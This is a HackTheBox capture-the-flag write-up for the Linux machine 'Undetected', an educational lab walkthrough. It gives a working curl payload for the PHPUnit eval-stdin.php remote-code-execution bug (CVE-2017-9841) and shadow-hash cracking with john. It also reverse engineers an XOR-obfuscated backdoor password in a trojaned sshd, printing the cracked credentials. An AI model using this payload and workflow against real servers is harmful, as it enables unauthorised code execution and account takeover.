HTB: Undetected Writeup

Undetected - HackTheBox Writeup

Machine Information

AttributeDetails
NameUndetected
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.136.44
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Undetected is a Linux machine themed around a jewellery-store web app that turns out to already have been compromised by a prior (fictional) attacker. The front door is a classic PHPUnit remote-code-execution bug (CVE-2017-9841) reachable through the store.djewelry.htb vhost, which hands over a www-data shell. From there, instead of a fresh privesc path, the box requires literally retracing a previous intruder’s steps: a leftover ELF dropper in /var/backups/info embeds a hex-encoded persistence script that reveals a cracked user’s shadow hash, and a backdoored Apache module quietly trojans /usr/sbin/sshd with a hardcoded, XOR-obfuscated root password. Both backdoors have to be reverse engineered by hand to extract usable credentials.

TL;DR: PHPUnit eval-stdin.php RCE (CVE-2017-9841) → www-data → recover attacker’s persistence script from /var/backups/info → crack steven1’s shadow hash → SSH as steven1 → user.txt → spot backdoored mod_reader.so in Apache → recover trojaned sshd, reconstruct and XOR-decrypt its hardcoded backdoor password → SSH as root → root.txt.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.129.136.44

Results:

PortServiceVersion
22sshOpenSSH
80httpApache httpd 2.4.41

Service Enumeration

Requesting port 80 redirects to a virtual host, store.djewelry.htb. Added to /etc/hosts:

Terminal window
echo "10.129.136.44 store.djewelry.htb" | sudo tee -a /etc/hosts

The vhost serves a jewellery-store web application. Enumeration of the site surfaces a publicly reachable vendor/ tree, exposing the bundled PHPUnit library and its known-vulnerable eval-stdin.php debug helper at:

/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

Vulnerability Assessment

  • CVE-2017-9841 — PHPUnit ≤ 5.6.2 ships Util/PHP/eval-stdin.php, a script intended for internal test execution that blindly eval()s PHP code sent on the request body. If this file ends up inside a web-accessible vendor/ directory (common when vendor/ isn’t excluded from the docroot), any unauthenticated visitor gets arbitrary PHP execution.

Initial Foothold

Exploitation Path

Terminal window
# Send PHP payload as the raw POST body — eval-stdin.php passes stdin straight to eval()
curl -s -X POST http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \
--data '<?php system("id"); ?>'
# -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

Confirmed code execution as www-data. This is the classic PHPUnit debug-endpoint RCE — the bundled test harness never expects to be reachable over HTTP, so no auth, no CSRF token, nothing but the request body stands between an attacker and the app server’s shell.


Privilege Escalation

Lateral Movement: www-data → steven1

Enumerating files owned by www-data outside the webroot turned up an ELF binary planted by a previous compromise:

/var/backups/info

The binary is a leftover attacker tool. Pulling it apart revealed an embedded 1316-character hex-encoded blob — a shell command string built for persistence. Decoding it:

import binascii
# hex blob extracted from the /var/backups/info ELF
blob = "..." # 1316 hex chars recovered from the binary
print(binascii.unhexlify(blob))

The decoded script is the original attacker’s persistence routine: it plants an SSH key backdoor, drops a cron-triggered payload, and — notably — walks /etc/passwd looking for real user accounts to clone, writing a matching shadow hash for a decoy account so the attacker can log back in later using a normal-looking username. That shadow entry is exactly what got exposed:

steven1:$6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:...

Cracked offline:

Terminal window
echo 'steven1:$6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# -> ihatehackers
Terminal window
ssh steven1@10.129.136.44
# password: ihatehackers
id
# uid=1000(steven1) ... — steven1 is a clone/twin account of the box's real "steven" user
cat /home/steven1/user.txt

Why this works: the shadow hash isn’t a normal system credential — it’s the previous, in-fiction attacker’s own backdoor account, accidentally left recoverable inside the dropper binary they forgot to clean up. Retracing their persistence script is the intended path to a foothold user.

Privilege Escalation: steven1 → root

ls -la /etc/apache2/mods-enabled/ shows reader.load with a modification date (May 17) inconsistent with the rest of the enabled-modules directory — the same kind of anomaly as /var/backups/info’s stray timestamp. The module points at:

/usr/lib/apache2/modules/mod_reader.so

This is a trojaned Apache module: on every Apache restart it silently overwrites /usr/sbin/sshd with a backdoored SSH daemon binary, which is why the machine’s name is “Undetected” — the compromise re-persists itself invisibly every time the web service reloads.

Pulling the live sshd binary and reversing its authentication path revealed a hardcoded 31-byte backdoor array used inside the password-check routine, compared directly against the login password before falling through to real PAM authentication. The array was reconstructed from the binary’s disassembly/data directly (no IDA/Ghidra available in this environment):

# 16 bytes recovered from the data segment at 0x7db30, plus stack-pushed immediates
# (d6b3a0fda0f4d6b2 / e3b5f0bc / f4a9) with a trailing 0xa5 appended after assembly
backdoor = [
# ... 31 bytes total, reconstructed from 0x7db30 + stack immediates ...
]
def decode(arr):
# XOR-obfuscated with a single-byte key, 0x96
return "".join(chr(b ^ 0x96) for b in arr)
print(decode(backdoor))
# -> @=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3
Terminal window
ssh root@10.129.136.44
# password: @=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3
id
# uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt

Why this works: the backdoored sshd short-circuits auth_password() — if the supplied password XORs to match the embedded 31-byte constant, authentication succeeds for any username regardless of the real password database. Recovering it required identifying the comparison routine in the disassembly, pulling the raw bytes out of the data segment plus the stack-pushed immediate values used to build the rest of the array at runtime, and reversing the single-byte XOR (0x96) used to hide the plaintext from static string scans.

Two live deviations from a clean run worth noting: the jump host’s /tmp was completely full, so all working files were staged in /dev/shm instead; and the backdoor array was pulled straight out of the binary’s disassembly/data rather than via a GUI disassembler.


Attack Chain Summary

PHPUnit eval-stdin.php RCE (CVE-2017-9841) on store.djewelry.htb
→ www-data shell
→ discover /var/backups/info (attacker's leftover ELF dropper)
→ extract & decode embedded hex persistence script
→ recover steven1's shadow hash → crack via john/rockyou (ihatehackers)
→ SSH as steven1 → user.txt
→ spot backdoored /etc/apache2/mods-enabled/reader.load (mod_reader.so)
→ recover trojaned /usr/sbin/sshd, reconstruct 31-byte backdoor array
→ XOR-decrypt with 0x96 → hardcoded root password
→ SSH as root → root.txt

Tools Used

ToolPurpose
nmapPort/service scanning
curlDelivering the PHPUnit eval-stdin.php RCE payload
python3 / binasciiDecoding the hex-encoded persistence script from /var/backups/info
john (rockyou.txt)Cracking steven1’s SHA-512crypt shadow hash
ssh / scpLateral login and pulling binaries off the target for analysis
disassembly (manual, binary data inspection)Reconstructing the 31-byte XOR-obfuscated root password from the trojaned sshd

Key Learnings

Techniques Practiced

  • Exploiting CVE-2017-9841 (PHPUnit eval-stdin.php RCE) via a web-exposed vendor/ directory
  • Hunting for attacker-owned artifacts left on disk (find-by-owner style triage) after a foothold
  • Extracting and decoding a hex-encoded embedded payload from an ELF binary
  • Offline hash cracking of a SHA-512crypt shadow entry with john + rockyou
  • Recognizing anomalous file modification times as a signal of prior compromise/persistence
  • Reverse engineering a trojaned Apache module and a backdoored sshd binary to recover a hardcoded, XOR-obfuscated credential

Lessons Learned

  1. Bundled dev/test tooling (PHPUnit) shipped inside a web-servable path is a live RCE surface — vendor/ must never be reachable from the docroot.
  2. A prior compromise doesn’t have to be theoretical framing — treating “what did the last attacker leave behind” as an enumeration target (stray files, odd timestamps) is a legitimate and necessary privesc technique on a machine that’s already been popped once.
  3. File modification-time drift across otherwise-uniform directories (mods-enabled/, a dropped binary in /var/backups/) is a strong indicator of tampering and worth checking early on any box themed around persistence.
  4. Backdoors hiding a credential behind a trivial XOR are still opaque to strings/grep — recovering them requires actually reading the comparison logic, not just scanning for plaintext.
  5. Environment constraints (a full /tmp on the jump host) are a normal part of live engagements — /dev/shm is a reliable fallback staging area when disk-backed temp space isn’t available.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • dotguy, “Undetected” — official HackTheBox machine write-up (Document No. D22.100.183), Machine Author: TheCyberGeek. Used here only to confirm the CVE identifier (CVE-2017-9841) and to cross-check the conceptual structure of the two backdoor-recovery steps (persistence-script decode and sshd XOR backdoor) — all IPs, outputs, hashes, and passwords above are from this run’s actual solve, not the reference.